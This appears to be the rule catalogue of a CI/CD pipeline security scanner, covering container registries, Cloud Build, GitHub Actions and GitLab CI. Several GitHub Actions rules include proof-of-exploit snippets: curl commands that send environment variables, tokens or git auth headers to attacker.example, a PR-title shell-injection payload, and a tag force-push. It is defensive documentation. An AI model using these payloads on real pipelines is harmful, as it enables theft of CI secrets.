Source: DF-020 in the Dockerfile provider.

ECR-001: Image scanning on push not enabled HIGH

Evidences: 4.1.1 Image vulnerabilities, unpatched CVEs baked into images.

How this is detected. scan-on-push runs a CVE check against the image's OS package layers at the moment it lands in ECR. Without it, an image with a known CVE deploys silently. The ECR basic scanner is free; ECR-007 covers the Inspector v2 enhanced scanner that adds language-ecosystem CVEs (npm, pip, gem).

Recommendation. Enable imageScanningConfiguration.scanOnPush on the repository. Consider also enabling Amazon Inspector continuous scanning for ongoing CVE detection against images already in the registry.

Source: ECR-001 in the AWS provider.

ECR-002: Image tags are mutable HIGH

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance, 4.2.2 Stale images in registries, drift and unpatched images.

How this is detected. Mutable tags mean :latest, :v1.0, and :stable can be re-pushed silently, the same tag points to different image content over time. Pinning by digest (sha256:...) in deployment manifests is the only durable reference; IMMUTABLE on the repo enforces the property registry-side so a forgotten digest reference doesn't drift.

Recommendation. Set imageTagMutability=IMMUTABLE on the repository. Reference images by digest (sha256:...) in deployment manifests for strongest immutability guarantees.

Source: ECR-002 in the AWS provider.

ECR-003: Repository policy allows public access CRITICAL

Evidences: 4.2.3 Insufficient authentication and authorization restrictions on registries.

How this is detected. A wildcard-principal repo policy means anyone on the internet can pull images. Sometimes intentional (a publicly-distributed base image), but should be a deliberate exposure, typically via the ECR Public registry rather than a private repo with a public policy. The default for build-output images should never be public.

Recommendation. Remove wildcard principals from the repository policy. Grant access only to specific AWS account IDs or IAM principals that require it.

Source: ECR-003 in the AWS provider.

ECR-004: No lifecycle policy configured LOW

Evidences: 4.2.2 Stale images in registries, drift and unpatched images.

How this is detected. Without a lifecycle policy, untagged images and old tagged images accumulate indefinitely. Stale images keep CVE attack surface available, anyone who can pull from the repo can pull the old, unpatched version even after a newer build has shipped. Lifecycle expiry is the housekeeper that closes that window.

Recommendation. Add a lifecycle policy that expires untagged images after a short period (e.g. 7 days) and limits the number of tagged images retained, reducing exposure to images with known CVEs.

Source: ECR-004 in the AWS provider.

ECR-005: Repository encrypted with AES256 rather than KMS CMK MEDIUM

Evidences: 4.2.3 Insufficient authentication and authorization restrictions on registries.

How this is detected. Same shape as CP-002 / CWL-002 / CCM-002: AES256 (the AWS-managed default) gives confidentiality at rest but no key-policy or CloudTrail Decrypt-event story. Container images are arguably sensitive intellectual property, the same key-policy + audit shape as build outputs in S3 is warranted.

Recommendation. Set encryptionType=KMS with a customer-managed key ARN.

Source: ECR-005 in the AWS provider.

ECR-006: ECR pull-through cache rule uses an untrusted upstream HIGH

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. AWS supports pull-through cache for ECR Public, Quay, K8s, GitHub Container Registry, GitLab, and Docker Hub. A rule pointing at registry-1.docker.io without an authenticated credential silently caches whatever the public namespace resolves to.

Recommendation. Scope pull-through cache rules to AWS-trusted registries (ECR Public, Quay.io with authentication, or a vetted private registry). Avoid wildcard or unauthenticated upstreams, a malicious image there gets cached into your account registry on first pull.

Source: ECR-006 in the AWS provider.

ECR-007: Inspector v2 enhanced scanning disabled for ECR MEDIUM

Evidences: 4.1.1 Image vulnerabilities, unpatched CVEs baked into images.

How this is detected. ECR-001's basic on-push scan covers OS-level packages, apt / yum / apk lineage. Most production CVE risk is in language ecosystems (npm, pip, gem, mvn) which the basic scanner ignores. Inspector v2 enhanced scanning closes that gap and runs continuously, so a CVE published two weeks after a build still surfaces against the deployed image.

Recommendation. Enable Amazon Inspector v2 for the ECR scan type on this account. Basic ECR scanning on-push only covers OS packages; Inspector v2 enhanced scanning adds language-ecosystem CVEs and runs continuously as new vulnerabilities are published.

Source: ECR-007 in the AWS provider.

GCB-001: Cloud Build step image not pinned by digest HIGH 🔧 fix

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Bare references (gcr.io/cloud-builders/docker) are treated as :latest by Cloud Build. Tag-only references (:20, :latest) count as unpinned. Only @sha256:… suffixes pass.

Recommendation. Pin every steps[].name image to an @sha256:<digest> suffix. gcr.io/cloud-builders/docker:latest is mutable; Google publishes new builder images frequently and the next build would pull whatever is current. Resolve the digest with gcloud artifacts docker images describe <ref> --format='value(image_summary.digest)' and pin it.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: GCB-001 in the Cloud Build provider.

GCB-003: Secret Manager value referenced in step args HIGH

Evidences: 4.1.4 Embedded clear-text secrets in images.

How this is detected. Detection patterns: literal projects/<n>/secrets/<name>/versions/... URIs, gcloud secrets versions access shell invocations, and $(gcloud secrets …) command substitutions in step args or entrypoint.

Recommendation. Map the secret under availableSecrets.secretManager[] with an env: alias, then reference it from each step via secretEnv: [ALIAS]. Avoid inline gcloud secrets versions access in args, the resolved plaintext lands in build logs.

Source: GCB-003 in the Cloud Build provider.

GCB-004: dynamicSubstitutions on with user substitutions in step args HIGH

Evidences: 4.1.3 Embedded malware in images.

How this is detected. The _-prefix is Cloud Build's naming convention for user substitutions; they are editable via build trigger UI, gcloud builds submit --substitutions, and the REST API. Built-in substitutions ($PROJECT_ID, $COMMIT_SHA, $BUILD_ID) are derived from the trigger event and are not treated as user-controlled by this rule.

Recommendation. Either disable options.dynamicSubstitutions (it defaults to false) or move user substitutions ($_FOO) out of step args, pass them through env: and reference them inside a shell script the builder runs. Dynamic substitution re-evaluates bash syntax after variable expansion, giving trigger-config editors a script-injection channel.

Source: GCB-004 in the Cloud Build provider.

GCB-006: Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH

Evidences: 4.1.3 Embedded malware in images.

How this is detected. Complements GCB-004 (dynamicSubstitutions + user substitution in args). GCB-006 fires on intrinsically risky shell idioms, eval, sh -c "$X", backtick exec, regardless of whether the substitution source is currently trusted.

Recommendation. Replace eval "$VAR" / sh -c "$VAR" / backtick exec with direct command invocation. Validate or allow-list any value that must feed a dynamic command at the boundary. In Cloud Build these idioms typically appear in args: [-c, ...] entries under a bash entrypoint.

Known false positives.

  • eval "$(ssh-agent -s)" and similar eval "$(<literal-tool>)" bootstrap idioms are intentionally NOT flagged, the substituted command is literal, only its output is eval'd.

Source: GCB-006 in the Cloud Build provider.

GCB-007: availableSecrets references versions/latest MEDIUM 🔧 fix

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance, 4.2.2 Stale images in registries, drift and unpatched images.

How this is detected. versions/latest is documented as a rolling alias. A build run on Monday and a re-run on Tuesday can consume different secret bodies without any change to cloudbuild.yaml, breaking the reproducibility invariant that pinning protects.

Recommendation. Pin each availableSecrets.secretManager[].versionName to a specific version number (.../versions/7) rather than latest. Rotate by updating the number when a new version is promoted, not by silently publishing a new version that the next build pulls.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: GCB-007 in the Cloud Build provider.

GCB-008: No vulnerability scanning step in Cloud Build pipeline MEDIUM

Evidences: 4.1.1 Image vulnerabilities, unpatched CVEs baked into images.

How this is detected. The detector matches tool names anywhere in the document, step images, args, or entrypoint strings. Container Analysis API scanning configured at the project level counts as compensating control but is out of scope for this YAML-only check; if you rely on it, suppress this rule via --checks.

Recommendation. Add a step that runs a vulnerability scanner, trivy, grype, snyk test, npm audit, pip-audit, osv-scanner, or govulncheck. In Cloud Build this typically looks like a step with name: aquasec/trivy or an entrypoint: bash step that invokes trivy image / grype <ref> on the built image.

Source: GCB-008 in the Cloud Build provider.

GHA-001: Action not pinned to commit SHA HIGH 🔧 fix

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Every uses: reference should pin a specific 40-char commit SHA. Tag and branch refs (@v4, @main) can be silently moved to malicious commits by whoever controls the upstream repository, a third-party action compromise will propagate into the pipeline on the next run.

Recommendation. Replace tag/branch references (@v4, @main) with the full 40-char commit SHA. Use Dependabot or StepSecurity to keep the pins fresh.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Seen in the wild.

  • tj-actions/changed-files compromise (CVE-2025-30066, March 2025): a malicious commit retagged behind @v1 / @v45 shipped CI-secret exfiltration to roughly 23,000 repos that had pinned the action to a mutable tag instead of a commit SHA.
  • reviewdog/action-setup compromise (CVE-2025-30154, March 2025): same week, similar mechanism. Tag-pinned consumers auto-pulled the malicious version; SHA-pinned consumers were unaffected.

Proof of exploit.

Tag-pinned reference (vulnerable):

  • uses: tj-actions/changed-files@v45

Attack: the upstream maintainer (or anyone who compromises

the upstream repo) force-moves the v45 tag to a malicious

commit:

git tag -f v45

git push --force origin v45

Every consumer's next workflow run pulls the new code

automatically, executing the attacker's payload with the

job's secrets and GITHUB_TOKEN in scope.

Safe: pin to a 40-char commit SHA (immutable):

Source: GHA-001 in the GitHub Actions provider.

GHA-002: pull_request_target checks out PR head CRITICAL 🔧 fix

Evidences: 4.4.5 App vulnerabilities, untrusted code paths reached at runtime.

How this is detected. pull_request_target runs with a write-scope GITHUB_TOKEN and access to repository secrets, deliberately so, since it's how labeling and comment-bot workflows work. When the same workflow then explicitly checks out the PR head (ref: ${{ github.event.pull_request.head.sha }} or .ref) it executes attacker-controlled code with those privileges.

Recommendation. Use pull_request instead of pull_request_target for any workflow that must run untrusted code. If you need write scope, split the workflow: a pull_request_target job that labels the PR, and a separate pull_request-triggered job that builds it with read-only secrets.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Seen in the wild.

  • GitHub Security Lab: Preventing pwn requests (2020), the canonical write-up. Demonstrates how a fork PR that lands in a pull_request_target workflow with the PR head checked out runs in the base repo's privileged context.
  • Trail of Bits Codecov-style supply chain via pwn requests (2021): showed the primitive against widely-used Actions workflows. The fix pattern (split the workflow into a privileged labeler + an unprivileged builder) is now standard guidance.

Proof of exploit.

Vulnerable: pull_request_target + checkout PR head =

attacker code runs with secrets + write-scope token.

name: build-pr on: pull_request_target: branches: [main] jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@ with: ref: ${{ github.event.pull_request.head.sha }} - run: make test # runs PR-head Makefile

Attack: any external contributor opens a fork PR with a

tampered Makefile:

test:

# curl -X POST https://attacker.example/exfil \ # -d "$(env)" \

-d "$(git config --get-all http.https://github.com/.extraheader)"

CI runs the malicious target with the base repo's secrets

(every ${{ secrets.* }} the workflow has access to) and a

write-scope GITHUB_TOKEN. The PR doesn't even need to be

merged or reviewed — the privileged execution happens at

PR-open time.

Safe: split the workflow. The labeler runs with secrets

but never checks out PR head; the builder runs in

pull_request context with no secrets:

name: triage # privileged half on: { pull_request_target: { types: [opened, synchronize] } } jobs: label: runs-on: ubuntu-latest steps: - run: gh pr edit ${{ github.event.number }} --add-label triage env: GH_TOKEN: ${{ github.token }}


name: build # unprivileged half on: { pull_request: {} } jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@ # checks out PR head - run: make test # no secrets in scope

Source: GHA-002 in the GitHub Actions provider.

GHA-003: Script injection via untrusted context HIGH 🔧 fix

Evidences: 4.1.3 Embedded malware in images.

How this is detected. Interpolating attacker-controlled context fields (PR title/body, issue body, comment body, commit message, discussion body, head branch name, github.ref_name, inputs.*, release metadata, deployment payloads) directly into a run: block is shell injection. GitHub expands ${{ ... }} BEFORE shell quoting, so any backtick, $(), or ; in the source field executes.

Recommendation. Pass untrusted values through an intermediate env: variable and reference that variable from the shell script. GitHub's expression evaluation happens before shell quoting, so inline ${{ github.event.* }} is always unsafe.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Seen in the wild.

  • GitHub Security Lab disclosure (2020): a sweep of public Actions found dozens of widely-used workflows interpolating github.event.issue.title / pull_request.title directly into shell. Any commenter or PR author could run arbitrary commands in the maintainer's CI.
  • Trail of Bits pwn-request research (2021): demonstrated the same primitive against pull_request_target workflows where the runner has secrets and a write-scope token; one fork PR could exfiltrate every secret the workflow could see. Mitigation is the same: never interpolate context into shell, route through env:.

Proof of exploit.

Vulnerable: PR title interpolated straight into shell.

name: triage on: pull_request_target: types: [opened, edited] jobs: greet: runs-on: ubuntu-latest steps: - run: | echo "New PR: ${{ github.event.pull_request.title }}"

Attack: open a PR with the title:

# foo"; curl -X POST https://attacker.example/exfil \

-d "$(env | base64 -w0)"; echo "

GitHub expands ${{ ... }} BEFORE shell quoting, so the

title's " closes the echo string and the rest of the line

becomes shell. The pull_request_target trigger means the

runner already has secrets and a write-scope GITHUB_TOKEN,

so the curl exfils every secret the workflow can see.

Safe: route through env so the value is never interpolated

into the shell template:

  - env:
      PR_TITLE: ${{ github.event.pull_request.title }}
    run: |
      echo "New PR: $PR_TITLE"

Source: GHA-003 in the GitHub Actions provider.

GHA-005: AWS auth uses long-lived access keys MEDIUM 🔧 fix

Evidences: 4.1.4 Embedded clear-text secrets in images.

How this is detected. Long-lived AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY secrets in GitHub Actions can't be rotated on a fine-grained schedule and remain valid until manually revoked. OIDC with role-to-assume yields short-lived credentials per workflow run.

Recommendation. Use aws-actions/configure-aws-credentials with role-to-assume + permissions: id-token: write to obtain short-lived credentials via OIDC. Remove the static AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY secrets.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • LocalStack and Moto integration tests set AWS_ENDPOINT_URL to a localhost address and use the sentinel test / test access keys (the LocalStack convention). Those values can't authenticate against real AWS, so the rule auto-suppresses an env block that pairs a localhost endpoint with sentinel keys.

Source: GHA-005 in the GitHub Actions provider.

GHA-008: Credential-shaped literal in workflow body CRITICAL 🔧 fix

Evidences: 4.1.4 Embedded clear-text secrets in images.

How this is detected. Every string in the workflow is scanned against a set of credential patterns (AWS access keys, GitHub tokens, Slack tokens, JWTs, Stripe, Google, Anthropic, etc., see --man secrets for the full catalog). A match means a secret was pasted into YAML, the value is visible in every fork and every build log and must be treated as compromised.

Recommendation. Rotate the exposed credential immediately. Move the value to an encrypted repository or environment secret and reference it via ${{ secrets.NAME }}. For cloud access, prefer OIDC federation over long-lived keys.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Test fixtures and documentation blobs sometimes embed credential-shaped strings (JWT samples, AKIAI... examples). The AWS canonical example AKIAIOSFODNN7EXAMPLE is deliberately NOT suppressed, if it appears in a real workflow it almost always means a copy-paste from docs was never substituted. Defaults to LOW confidence.

Seen in the wild.

  • Uber 2016 GitHub leak: an AWS access key embedded in a private GitHub repo was reachable to attackers who got at the repo and used it to download driver / rider PII for 57 million accounts. Credential-shaped literals in any source control system (public or private) are one credential-leak away from the same outcome.
  • GitGuardian's annual State of Secrets Sprawl reports consistently find millions of fresh credential leaks per year across public commits, with a median time-to-revocation after disclosure of days, not minutes. Pinning secrets to ${{ secrets.* }} removes the artifact from source control entirely.

Proof of exploit.

Vulnerable: AWS access key pasted into the workflow body.

env: AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE AWS_SECRET_ACCESS_KEY: wJalrXUtnnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

Attack chain:

1. Attacker clones/forks the repo or pulls from a public

mirror. The literal is in plain text — no credentials

needed to read it.

2. Attacker uses the key against the AWS account it

belongs to. With AmazonEC2FullAccess this is

immediate compute hijack; with broader IAM it is

full data exfiltration.

3. Even after rotation, every git revision and every

CI build log retains the value — pull-request

mirrors, logging back-ends, and forks all have to

be scrubbed.

Safe: reference a stored secret. The value never lives in

source control or build logs (GitHub redacts it from output).

env: AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }} AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}

Better: use OIDC federation. No long-lived key exists.

permissions: id-token: write steps: - uses: aws-actions/configure-aws-credentials@ with: role-to-assume: arn:aws:iam::123456789012:role/CIRole aws-region: us-east-1

Source: GHA-008 in the GitHub Actions provider.

GHA-009: workflow_run downloads upstream artifact unverified CRITICAL

Evidences: 4.4.5 App vulnerabilities, untrusted code paths reached at runtime.

How this is detected. on: workflow_run runs in the privileged context of the default branch (write GITHUB_TOKEN, secrets accessible) but consumes artifacts produced by the triggering workflow, which is often a fork PR with no trust boundary. Classic PPE: a malicious PR uploads a tampered artifact, the privileged workflow_run downloads and executes it.

Recommendation. Add a verification step BEFORE consuming the artifact: cosign verify-attestation --type slsaprovenance ..., gh attestation verify --owner $OWNER ./artifact, or publish a checksum manifest from the trusted producer and sha256sum -c it. Treat any download from a fork as untrusted input.

Source: GHA-009 in the GitHub Actions provider.

GHA-010: Local action (./path) on untrusted-trigger workflow HIGH

Evidences: 4.4.5 App vulnerabilities, untrusted code paths reached at runtime.

How this is detected. uses: ./path/to/action resolves the action against the CHECKED-OUT workspace. On pull_request_target / workflow_run, that workspace can be PR-controlled, meaning the attacker supplies the action.yml that runs with default-branch privilege.

Recommendation. Move the action to a separate repo under your control and reference it by SHA-pinned uses: org/repo@<sha>, or split the workflow so the privileged work runs only on pull_request (read-only token, no secrets) where PR-controlled action.yml can't escalate.

Source: GHA-010 in the GitHub Actions provider.

GHA-011: Cache key derives from attacker-controllable input MEDIUM

Evidences: 4.4.6 Rogue containers, unvetted images executed inside pipeline.

How this is detected. actions/cache restores by key (and falls through restore-keys on miss). When the key includes a value the attacker controls (PR title, head ref, workflow_dispatch input), an attacker can plant a poisoned cache entry that a later default-branch run restores and treats as a clean build cache.

Recommendation. Build the cache key from values the attacker can't control: ${{ runner.os }}, ${{ hashFiles('**/*.lock') }} (only when the lockfile is enforced by branch protection), and the workflow file path. Never include github.event.* PR/issue fields, github.head_ref, or inputs.* in the key namespace.

Source: GHA-011 in the GitHub Actions provider.

GHA-012: Self-hosted runner without ephemeral marker MEDIUM

Evidences: 4.4.3 Unbounded network access from containers, egress not restricted.

How this is detected. Self-hosted runners that don't tear down between jobs leak filesystem and process state. A PR-triggered job writes to /tmp; a subsequent prod-deploy job on the same runner reads it. The mitigation is the runner's --ephemeral mode, the runner exits after one job and re-registers fresh. The check looks for an ephemeral label on the runs-on value; without one, the runner is presumed reusable. Recognises all three runs-on shapes: string, list, and { group, labels } dict form.

Recommendation. Configure the self-hosted runner to register with --ephemeral (the runner exits after one job and is freshly registered), and add an ephemeral label so this check can verify it. Consider actions-runner-controller for ephemeral pools.

Known false positives.

  • Organisations using actions-runner-controller (ARC), autoscaled pools, or vendor runner fleets often use labels like arc-*, autoscaled-*, or ephemeral-pool-* instead of a bare ephemeral label. The check only matches the literal ephemeral token on runs-on; extend via a custom allow-prefix config if your fleet uses a different naming convention. Defaults to MEDIUM confidence.

Source: GHA-012 in the GitHub Actions provider.

GHA-013: issue_comment trigger without author guard HIGH

Evidences: 4.4.5 App vulnerabilities, untrusted code paths reached at runtime.

How this is detected. on: issue_comment (and discussion_comment) fires for every comment on every issue or discussion in the repository. On public repos this means any GitHub user can trigger workflow execution. If the workflow runs commands, deploys, or accesses secrets, the attacker controls timing and can inject payloads through the comment body.

Recommendation. Add an if: condition that checks github.event.comment.author_association (e.g. contains('OWNER MEMBER COLLABORATOR', ...)), github.event.sender.login, or github.actor against an allowlist. Without a guard, any GitHub user can trigger the workflow by posting a comment.

Source: GHA-013 in the GitHub Actions provider.

GHA-016: Remote script piped to shell interpreter HIGH 🔧 fix

Evidences: 4.1.3 Embedded malware in images.

How this is detected. Detects curl | bash, wget | sh, and similar patterns that pipe remote content directly into a shell interpreter inside a workflow. An attacker who controls the remote endpoint (or poisons DNS / CDN) gains arbitrary code execution in the CI runner.

Recommendation. Download the script to a file, verify its checksum, then execute it. Or vendor the script into the repository.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Established vendor installers (get.docker.com, sh.rustup.rs, bun.sh/install, awscli.amazonaws.com, cli.github.com, ...) ship via HTTPS from their own CDN and are idiomatic. This rule defaults to LOW confidence so CI gates can ignore them with --min-confidence MEDIUM; the finding still surfaces so teams that want cryptographic verification can audit.

Seen in the wild.

  • Codecov Bash uploader compromise (April 2021): an attacker modified the codecov.io/bash uploader script (commonly fetched via curl -s codecov.io/bash | bash) to exfiltrate environment variables from CI runners (AWS keys, GitHub tokens, signing keys) at thousands of customers for over two months before discovery.
  • Bitwarden / npm install scripts (CVE-2018-7536-class incidents): remote-script execution in CI is the same primitive. The attacker controls bytes the runner executes. Pinning a digest or hosting a vendored copy turns a perpetual ambient risk into a one-time review.

Proof of exploit.

Vulnerable: install script piped straight to bash.

steps: - run: curl -sL https://example.com/install.sh | bash

Attack: an attacker who controls the install.sh endpoint

(compromised CDN, expired domain, BGP hijack, account

takeover, or simply being the upstream maintainer with bad

intent) drops a payload that runs in the CI runner with

every secret available to the job:

#!/usr/bin/env bash

# legitimate-looking install actions...

# curl -X POST https://attacker.example/exfil \

-d "$(env)" -d "$(cat $GITHUB_TOKEN_FILE 2>/dev/null)"

The runner has no way to know the bytes changed.

Safe: download, verify a known-good digest, then execute.

steps: - run: | curl -sLo install.sh https://example.com/install.sh echo "abc123...expected_sha256 install.sh" | sha256sum -c bash install.sh

Source: GHA-016 in the GitHub Actions provider.

GHA-017: Docker run with insecure flags (privileged/host mount) CRITICAL 🔧 fix

Evidences: 4.1.2 Image configuration defects, privileged flags, insecure runtime settings, 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

How this is detected. Flags like --privileged, --cap-add, --net=host, or host-root volume mounts (-v /:/) in a workflow give the container full access to the runner, enabling container escape and lateral movement.

Recommendation. Remove --privileged and --cap-add flags. Use minimal volume mounts. Prefer rootless containers.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: GHA-017 in the GitHub Actions provider.

GHA-018: Package install from insecure source HIGH 🔧 fix

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Detects package-manager invocations that use plain HTTP registries (--index-url http://, --registry=http://) or disable TLS verification (--trusted-host, --no-verify) in a workflow. These patterns allow man-in-the-middle injection of malicious packages.

Recommendation. Use HTTPS registry URLs. Remove --trusted-host and --no-verify flags. Pin to a private registry with TLS.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: GHA-018 in the GitHub Actions provider.

GHA-020: No vulnerability scanning step MEDIUM

Evidences: 4.1.1 Image vulnerabilities, unpatched CVEs baked into images.

How this is detected. Without a vulnerability scanning step, known-vulnerable dependencies ship to production undetected. The check recognises trivy, grype, snyk, npm audit, yarn audit, safety check, pip-audit, osv-scanner, and govulncheck.

Recommendation. Add a vulnerability scanning step, trivy, grype, snyk test, npm audit, pip-audit, or osv-scanner. Publish results so vulnerabilities surface before deployment.

Source: GHA-020 in the GitHub Actions provider.

GHA-021: Package install without lockfile enforcement MEDIUM 🔧 fix

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Detects package-manager install commands that do not enforce a lockfile or hash verification. Without lockfile enforcement the resolver pulls whatever version is currently latest, exactly the window a supply-chain attacker exploits.

Recommendation. Use lockfile-enforcing install commands: npm ci instead of npm install, pip install --require-hashes -r requirements.txt, yarn install --frozen-lockfile, bundle install --frozen, and go install tool@v1.2.3.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: GHA-021 in the GitHub Actions provider.

GHA-023: TLS / certificate verification bypass HIGH 🔧 fix

Evidences: 4.2.1 Insecure connections to registries (no TLS / cert validation bypassed).

How this is detected. Detects patterns that disable TLS certificate verification: git config http.sslVerify false, NODE_TLS_REJECT_UNAUTHORIZED=0, npm config set strict-ssl false, curl -k, wget --no-check-certificate, PYTHONHTTPSVERIFY=0, and GOINSECURE=. Disabling TLS verification allows MITM injection of malicious packages, repositories, or build tools.

Recommendation. Remove TLS verification bypasses. Fix certificate issues at the source (install CA certificates, configure proper trust stores) instead of disabling verification.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: GHA-023 in the GitHub Actions provider.

GHA-025: Reusable workflow not pinned to commit SHA HIGH

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. A reusable workflow runs with the caller's GITHUB_TOKEN and secrets by default. If uses: org/repo/.github/workflows/release.yml@v1 resolves to an attacker-modified commit, their code executes with your repository's permissions. This is the same threat model as unpinned step actions (GHA-001) but over a different uses: surface.

Recommendation. Pin every jobs.<id>.uses: reference to a 40-char commit SHA (owner/repo/.github/workflows/foo.yml@<sha>). Tag refs (@v1, @main) can be silently repointed by whoever controls the callee repository.

Source: GHA-025 in the GitHub Actions provider.

GHA-026: Container job disables isolation via options: HIGH

Evidences: 4.1.2 Image configuration defects, privileged flags, insecure runtime settings, 4.4.3 Unbounded network access from containers, egress not restricted.

How this is detected. GitHub-hosted runners execute container: jobs inside a Docker container the runner itself manages, normally a hardened, network-namespaced sandbox. options: is a free-text passthrough to docker run; a flag that breaks the sandbox (shares host network/PID, runs privileged, maps the Docker socket) turns the job into an RCE on the runner VM.

Recommendation. Remove --network host, --privileged, --cap-add, --user 0/--user root, --pid host, --ipc host, and host -v bind-mounts from container.options and services.*.options. If a build genuinely needs one of these, move it to a dedicated self-hosted pool with branch protection so the flag doesn't reach PR runs.

Source: GHA-026 in the GitHub Actions provider.

GHA-027: Workflow contains indicators of malicious activity CRITICAL

Evidences: 4.1.3 Embedded malware in images.

How this is detected. Distinct from the hygiene checks. GHA-016 flags curl | bash as a risky default; this rule fires only on concrete indicators, reverse shells, base64-decoded execution, known miner binaries or pool URLs, exfil-channel domains, credential-dump pipes, history-erasure commands. Categories reported: obfuscated-exec, reverse-shell, crypto-miner, exfil-channel, credential-exfil, audit-erasure.

Recommendation. Treat this as a potential pipeline compromise. Inspect the matching step(s), identify the author and the PR that introduced them, rotate any credentials the workflow has access to, and audit CloudTrail/AuditLogs for exfil. If the match is a legitimate red-team exercise, whitelist via .pipelinecheckignore with an expires: date, never a permanent suppression.

Known false positives.

  • Security-training repositories, CTF challenges, and red-team exercise workflows legitimately contain reverse-shell strings or exfil domains as literals. Matches inside YAML keys / HCL attributes whose names contain example, fixture, sample, demo, or test are auto-suppressed; bare lines in a production workflow still fire.
  • Defaults to LOW confidence. Filter with --min-confidence MEDIUM to ignore all matches; the rule still surfaces the hit for teams that want to spot-check.

Source: GHA-027 in the GitHub Actions provider.

GHA-028: Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH

Evidences: 4.1.3 Embedded malware in images.

How this is detected. eval, sh -c "$X", and `$X` all re-parse the variable's value as shell syntax. If the value contains ;, &&, |, backticks, or $(), those metacharacters execute. Even when the variable source looks controlled today, relocating the script or adding a new caller can silently expose it to untrusted input.

Recommendation. Replace eval "$VAR" / sh -c "$VAR" / backtick exec of variables with direct command invocation. If the command really must be dynamic, pass arguments as array members ("${ARGS[@]}") or validate the input against an allow-list before invocation.

Known false positives.

  • eval "$(ssh-agent -s)" and similar eval "$(<literal-tool> <literal-args>)" bootstrap idioms are intentionally NOT flagged, the substituted command is literal, only its output is eval'd. The rule only fires when the substituted command references a variable.

Source: GHA-028 in the GitHub Actions provider.

GHA-029: Package install bypasses registry integrity (git / path / tarball source) MEDIUM

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Package installs that pull from git+… without a pinned commit, from a local path (./dir, file:…, absolute paths), or from a direct tarball URL are invisible to the normal lockfile integrity controls. A moving branch head, a sibling checkout the build assumes exists, or a tarball whose hash isn't verified all give an attacker who controls any of those surfaces the ability to substitute code into the build.

Recommendation. Pin git dependencies to a commit SHA (pip install git+https://…/repo@<sha>, cargo install --git … --rev <sha>). Publish private packages to an internal registry instead of installing from a filesystem path or tarball URL.

Source: GHA-029 in the GitHub Actions provider.

GL-001: Image not pinned to specific version or digest HIGH 🔧 fix

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Floating tags (latest or major-only) can be silently swapped under the job. Every image: reference should pin a specific version tag or digest.

Recommendation. Reference images by @sha256:<digest> or at minimum a full immutable version tag (e.g. python:3.12.1-slim). Avoid :latest and bare tags like :3.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: GL-001 in the GitLab CI provider.

GL-002: Script injection via untrusted commit/MR context HIGH

Evidences: 4.1.3 Embedded malware in images.

How this is detected. CI_COMMIT_MESSAGE / CI_COMMIT_REF_NAME / CI_MERGE_REQUEST_TITLE and friends are populated from SCM event metadata the attacker controls. Interpolating them into a shell body executes the crafted content as part of the build.

Recommendation. Read these values into intermediate variables: entries or shell variables and quote them defensively ("$BRANCH"). Never inline $CI_COMMIT_MESSAGE / $CI_MERGE_REQUEST_TITLE into a shell command.

Source: GL-002 in the GitLab CI provider.

